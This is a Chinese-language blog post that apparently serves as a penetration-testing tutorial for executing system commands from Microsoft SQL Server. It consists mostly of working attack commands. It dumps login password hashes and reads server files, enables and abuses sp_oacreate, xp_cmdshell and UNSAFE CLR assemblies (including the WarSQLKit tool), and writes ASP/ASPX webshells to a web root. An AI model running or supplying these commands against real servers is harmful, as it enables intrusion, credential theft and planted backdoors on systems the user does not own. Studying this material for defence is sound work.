隐藏

在MSSQL中执行存储过程的命令

发布:2022/12/19 9:54:40作者:管理员 来源:本站 浏览次数:315

基本概念


MSSQL


MSSQL指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案。


组件


组件是对数据和方法的简单封装,可以理解为对象。有着自己的属性和方法。属性是组件数据的简单访问者,而方法就是组件的一些简单功能。


OLE

OLE是一种面向对象的技术,利用这种技术可重复使用COM组件。

基本查询命令


#查询版本信息

select @@version


#查看是否是管理员

select is_srvrolemember('sysadmin')


#查看主机名

select host_name();


#查看服务器名

select @@servername;


#查看用户hash

select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins


#查看sql server 认证方式

select SERVERPROPERTY('IsIntegratedSecurityOnly')


#查看目录结构

#depth设置为1,表示显示所以子目录,file设置为1,表示显示子目录的文件

execute master..xp_dirtree 'e:\',1,1 列出e盘目录、文件


#判断文件是否存在

exec master.sys.xp_fileexist 'e:\web\tmp.asp'


#判断站库分离

select host_name();   #查询客户端主机名

select @@servername;  #查询服务端主机名


#查询文件内容

create table files(line varchar(1024))

bulk insert  files from 'e:\1.txt'

select * from files


存储过程


存储过程是一组为了完成某个特定功能的SQL语句。一次编译永久生效。然后用户通过指定存储过程的名字以及参数来执行。

而存储过程分为:


   系统存储过程

   本地存储过程

   扩展存储过程

   远程存储过程

   临时存储过程


系统存储过程


以sp_开头,进行系统的设定。如:sp_oacreate、sp_oamethod

查看微软官方文档为:

sp_oacreate是创建 OLE 对象的实例。

sp_oamethod是调用一个 OLE 对象的方法。

sp_oacreate 执行命令


启用SP_OACREATE


EXEC sp_configure 'show advanced options', 1;  

RECONFIGURE WITH OVERRIDE;  

EXEC sp_configure 'Ole Automation Procedures', 1;  

RECONFIGURE WITH OVERRIDE;


执行系统命令


declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'


Shell.Application //执行命令

declare @o int

exec sp_oacreate 'Shell.Application', @o out

exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';


需要注意的是该存储过程执行命令无回显,所以将命令执行的结果输出到文件里。

两个语句中分别使用了wscript.shell、Shell.Application两个对象,而一些防护产品对该对象比较敏感。

所以有了第二种方法:

同样也是利用sp_oacreate,但使用的是scripting.filesystemobject对象,该对象用来操作一些文件。

在知道web绝对路径的情况下,可利用该对象写入webshell。也是解决不出网的一张方式。


declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\tmp.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("x"))%>'


本地存储过程


本地存储过程指用户创建的自定义存储过程。如:CLR


CLR,公共语言基础结构(Common Language Infrastructure),用来支持不同编程语言。sql server集成了该组件,可以通过sql server编写CLR来执行系统命令。

CLR执行系统命令


   启用CLR


sp_configure 'clr enabled', 1

GO

RECONFIGURE

GO


   将数据库标记为安全


ALTER DATABASE master SET TRUSTWORTHY ON;


   利用SQL语句导入程序集


CREATE ASSEMBLY [Database1]

   AUTHORIZATION [dbo]

   FROM 0x4D5A9.............

   WITH PERMISSION_SET = UNSAFE;

GO


   创建存储过程


CREATE PROCEDURE [dbo].[ExecCommand]

@cmd NVARCHAR (MAX)

AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]

go


   执行系统命令


exec dbo.ExecCommand "whoami"


WarSQLKit 工具


在看CLR编写的过程中,顺便看到有前辈开发了针对mssql CLR进行利用的渗透工具。

也就是WarSQLKit。github可下载源码。


   启用CLR


sp_configure 'clr enabled', 1

GO

RECONFIGURE

GO


   将数据库标记为安全


ALTER DATABASE master SET TRUSTWORTHY ON;


   利用SQL语句导入程序集


CREATE ASSEMBLY [WarSQLKit]

   AUTHORIZATION [dbo]

   FROM  0x4D5A900003000000.......

   WITH PERMISSION_SET = UNSAFE;

GO


   注:这里说一下该十六进制非常长,在WarSQLKit.dacpac文件内

   解压该文件,源码存放在model.xml文件中


   创建存储过程


CREATE PROCEDURE sp_cmdExec

@Command [nvarchar](4000)

WITH EXECUTE AS CALLER

AS

EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec

GO


   执行系统命令


EXEC sp_cmdExec 'whoami';


扩展存储过程


以xp_开头,使用外部程序语言编写的存储过程。如:xp_cmdshell

xp_cmdshell 执行命令


sql server 2005版本以后默认关闭,需要开启后使用


   启用xp_cmdshell


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


   执行系统命令


exec master..xp_cmdshell 'whoami'


也可以写入webshell


exec master..xp_cmdshell 'echo ^<%eval request("x")%^> >e:\shell.aspx'


补充:

实战中如果出现调用CreateProcess失败,一般为拦截了xp_cmdshell的调用。